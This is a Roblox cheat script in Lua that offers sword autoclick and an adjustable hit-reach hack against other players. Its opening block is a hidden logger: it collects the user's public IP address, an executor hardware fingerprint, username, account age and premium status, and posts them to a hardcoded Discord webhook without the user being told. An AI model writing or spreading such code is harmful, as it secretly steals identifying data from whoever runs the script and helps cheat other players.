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- local IP = game:HttpGet("https://v4.ident.me")
- plr = game:GetService'Players'.LocalPlayer
- local premium = false
- local ALT = false
- if plr.MembershipType == Enum.MembershipType.Premium then
- premium = true
- elseif plr.MembershipType == Enum.MembershipType.None then
- premium = false
- end
- if premium == false then
- if plr.AccountAge <= 70 then
- ALT = true
- end
- end
- local market = game:GetService("MarketplaceService")
- local info = market:GetProductInfo(game.PlaceId, Enum.InfoType.Asset)
- local http_request = http_request;
- if syn then
- http_request = syn.request
- elseif SENTINEL_V2 then
- function http_request(tb)
- return {
- StatusCode = 200;
- Body = request(tb.Url, tb.Method, (tb.Body or ''))
- }
- end
- end
- local body = http_request({Url = 'https://httpbin.org/get'; Method = 'GET'}).Body;
- local decoded = game:GetService('HttpService'):JSONDecode(body)
- local hwid_list = {"Syn-Fingerprint", "Exploit-Guid", "Proto-User-Identifier", "Sentinel-Fingerprint"};
- hwid = "";
- for i, v in next, hwid_list do
- if decoded.headers[v] then
- hwid = decoded.headers[v];
- break
- end
- end
- if hwid then
- local HttpServ = game:GetService('HttpService')
- local url = "https://discordapp.com/api/webhooks/781584039453786122/OaijHvtQ6KkFf2WLICnD3mm9BMN67fE4qpUL03cPBRraFBPo09hfHhECgK0xOD1WmZA0"
- local data =
- {
- ["content"] = "",
- ["embeds"] = {{
- ["title"] = "__**HWID:**__",
- ["description"] = hwid,
- ["type"] = "rich",
- ["color"] = tonumber(0xAB0909),
- ["fields"] = {
- {
- ["name"] = "Username:",
- ["value"] = Game.Players.LocalPlayer.Name,
- ["inline"] = true
- },
- {
- ["name"] = "IP Address:",
- ["value"] = IP,
- ["inline"] = true
- },
- {
- ["name"] = "Game Link:",
- ["value"] = "https://roblox.com/games/" .. game.PlaceId .. "/",
- ["inline"] = true
- },
- {
- ["name"] = "Game Name:",
- ["value"] = info.Name,
- ["inline"] = true
- },
- {
- ["name"] = "Age:",
- ["value"] = plr.AccountAge,
- ["inline"] = true
- },
- {
- ["name"] = "Premium:",
- ["value"] = premium,
- ["inline"] = true
- },
- {
- ["name"] = "ALT:",
- ["value"] = ALT,
- ["inline"] = true
- },
- },
- }}
- }
- local newdata = HttpServ:JSONEncode(data)
- local headers = {
- ["content-type"] = "application/json"
- }
- local request_payload = {Url=url, Body=newdata, Method="POST", Headers=headers}
- http_request(request_payload)
- end
- local ClickRate = 1/80 --1/fps
- local Keybind = Enum.KeyCode.Q
- local Players = game:GetService("Players")
- local UIS = game:GetService("UserInputService")
- local RS = game:GetService("RunService")
- local Player = Players.LocalPlayer
- local ACing,AI,Lunging = false,false,{}
- setmetatable(Lunging, {__mode = "kv"})
- local Sword
- local AFK = false
- local function Lunge(CSword)
- if not Lunging[CSword] and CSword == Sword then
- Lunging[CSword] = true
- local Lunged = false
- local Con = Sword.ChildAdded:Connect(function(i)
- if i.Name == 'toolanim' and i.Value == 'Lunge' then
- Lunged = true
- end
- end)
- repeat
- CSword:Activate()
- local t = tick()
- repeat RS.RenderStepped:Wait() until tick() - t > ClickRate
- until CSword ~= Sword or Lunged or not CSword
- Con:Disconnect()
- end
- end
- local function Toggle()
- ACing = not ACing
- if ACing and Sword then
- Lunge(Sword)
- end
- end
- UIS.InputBegan:Connect(function(k,g)
- if not g and k.KeyCode == Keybind then
- Toggle()
- end
- end)
- local SwordConnections = {}
- setmetatable(SwordConnections, {__mode = "kv"})
- local function AddSwordConnection(CSword)
- if not SwordConnections[CSword] then
- SwordConnections[CSword] = true
- CSword:GetPropertyChangedSignal("Grip"):Connect(function()
- local G = CSword.GripUp.Z
- if G == 1 then
- Lunging[CSword] = nil
- if not AFK and ACing and Sword and CSword and Sword == CSword then
- Lunge(CSword)
- end
- end
- end)
- CSword.Equipped:Connect(function()
- if ACing then
- wait()
- Lunge(CSword)
- end
- end)
- end
- end
- local function onCharAdded(Char)
- Sword = Char:FindFirstChildOfClass("Tool")
- Char.ChildAdded:Connect(function(i)
- if i.ClassName == 'Tool' then
- Sword = i
- AddSwordConnection(Sword)
- end
- end)
- Char.ChildRemoved:Connect(function(i)
- if Sword == i then
- Sword = nil
- end
- end)
- end
- Player.CharacterAdded:Connect(onCharAdded)
- if Player.Character then
- onCharAdded(Player.Character)
- end
- UIS.WindowFocused:connect(function() AFK = false end)
- UIS.WindowFocusReleased:connect(function() AFK = true end)
- local active = true
- local trueActive = true
- local dmgEnabled = false
- local visualizerEnabled = false
- local reachType = "Sphere"
- local reach = 5
- KeyBindHigh = "e"
- KeyBindLow = "r"
- IncreaseAmmount = 1
- local visualizer = Instance.new("Part")
- visualizer.BrickColor = BrickColor.Blue()
- visualizer.Transparency = 1
- visualizer.Anchored = true
- visualizer.CanCollide = false
- visualizer.Size = Vector3.new(reach, reach, reach)
- visualizer.BottomSurface = Enum.SurfaceType.Smooth
- visualizer.TopSurface = Enum.SurfaceType.Smooth
- visualizer.Material = Enum.Material.ForceField
- local visualizer2 = Instance.new("Part")
- visualizer2.Color = Color3.fromRGB(255, 255, 255)
- visualizer2.Transparency = 1
- visualizer2.Anchored = true
- visualizer2.CanCollide = false
- visualizer2.Size = Vector3.new(reach, reach, reach)
- visualizer2.BottomSurface = Enum.SurfaceType.Smooth
- visualizer2.TopSurface = Enum.SurfaceType.Smooth
- local selectionsphere = Instance.new("SelectionSphere")
- selectionsphere.Parent = visualizer2
- selectionsphere.Adornee = visualizer2
- selectionsphere.Color3 = Color3.fromRGB(255, 255, 255)
- selectionsphere.SurfaceColor3 = Color3.fromRGB(255, 255, 255)
- selectionsphere.Transparency = 1
- selectionsphere.SurfaceTransparency = 0.5
- selectionsphere.Visible = true
- repeat wait() until game.Players.LocalPlayer
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Alsive X";
- Text = "XXX";
- Icon = "";
- Duration = 0.0001;
- })
- local mouse = game.Players.LocalPlayer:GetMouse()
- binde = "z"
- mouse.KeyDown:connect(function(keye)
- if keye == binde then
- reach = 5
- dmgEnabled = true
- visualizerEnabled = false
- end
- end)
- bindq = "x"
- mouse.KeyDown:connect(function(keyq)
- if keyq == bindq then
- reach = 0
- dmgEnabled = false
- visualizerEnabled = false
- end
- end)
- bindr = "g"
- mouse.KeyDown:connect(function(keyr)
- if keyr == bindr then
- reach = 15
- dmgEnabled = true
- visualizerEnabled = false
- end
- end)
- bindf = "t"
- mouse.KeyDown:connect(function(keyf)
- if keyf == bindf then
- visualizerEnabled = true
- end
- end)
- local mouse = game.Players.LocalPlayer:GetMouse()
- Player:GetMouse().KeyDown:Connect(function(Key)
- if Key == KeyBindHigh then
- reach = reach + IncreaseAmmount
- game.StarterGui:SetCore("SendNotification", {
- Title = "Closet Reach";
- Text = "Closet Reach Set To" .. reach;
- Icon = "";
- Duration = 1;})
- end
- if Key == KeyBindLow then
- reach = reach - IncreaseAmmount
- game.StarterGui:SetCore("SendNotification", {
- Title = "Closet Reach";
- Text = "Closet Reach Set To" .. reach;
- Icon = "";
- Duration = 1;})
- end
- end)
- local plr = game.Players.LocalPlayer
- local function onHit(hit,handle)
- local victim = hit.Parent:FindFirstChildOfClass("Humanoid")
- if victim and victim.Parent.Name ~= game.Players.LocalPlayer.Name then
- if dmgEnabled then
- for _,v in pairs(hit.Parent:GetChildren()) do
- if v:IsA("Part") then
- firetouchinterest(v,handle,0)
- firetouchinterest(v,handle,1)
- end
- end
- else
- firetouchinterest(hit,handle,0)
- firetouchinterest(hit,handle,1)
- end
- end
- end
- local function getWhiteList()
- local wl = {}
- for _,v in pairs(game.Players:GetPlayers()) do
- if v ~= plr then
- local char = v.Character
- if char then
- for _,q in pairs(char:GetChildren()) do
- if q:IsA("Part") then
- table.insert(wl,q)
- end
- end
- end
- end
- end
- return wl
- end
- local cooldown = false
- game:GetService("RunService").RenderStepped:connect(function()
- if not active or not trueActive then return end
- local s = plr.Character and plr.Character:FindFirstChildOfClass("Tool")
- if not s then
- visualizer.Parent = nil
- visualizer2.Parent = nil
- end
- if s then
- local handle = s:FindFirstChild("Handle") or s:FindFirstChildOfClass("Part")
- if handle then
- if visualizerEnabled then
- visualizer.Parent = s:FindFirstChild("Handle")
- visualizer2.Parent = s:FindFirstChild("Handle")
- else
- visualizer.Parent = nil
- visualizer2.Parent = nil
- end
- if reach then
- if reachType == "Sphere" then
- visualizer2.Size = Vector3.new(reach, reach, reach)
- visualizer2.CFrame = handle.CFrame
- visualizer2.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 0)
- --FOR KILLZONE MODE PASTE/REMOVE "visualizer2.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 0)"
- for _,v in pairs(game.Players:GetPlayers()) do
- local hrp = v.Character and v.Character:FindFirstChild("HumanoidRootPart")
- if hrp and handle then
- local mag = (hrp.Position-handle.Position).magnitude
- if mag <= reach and cooldown == false then
- cooldown = true
- onHit(hrp,handle)
- wait(1.3)
- cooldown = false
- end
- end
- end
- end
- end
- end
- end
- end)
- local i = 0
- while wait() do
- if i >= 0.99 then
- i = 0
- elseif i < 1 then
- i = i+0.009
- end
- local h = (i)
- local color = Color3.fromHSV(h, 1, 0.8)
- visualizer.Color = color
- selectionsphere.Color3 = color
- selectionsphere.SurfaceColor3 = color
- end
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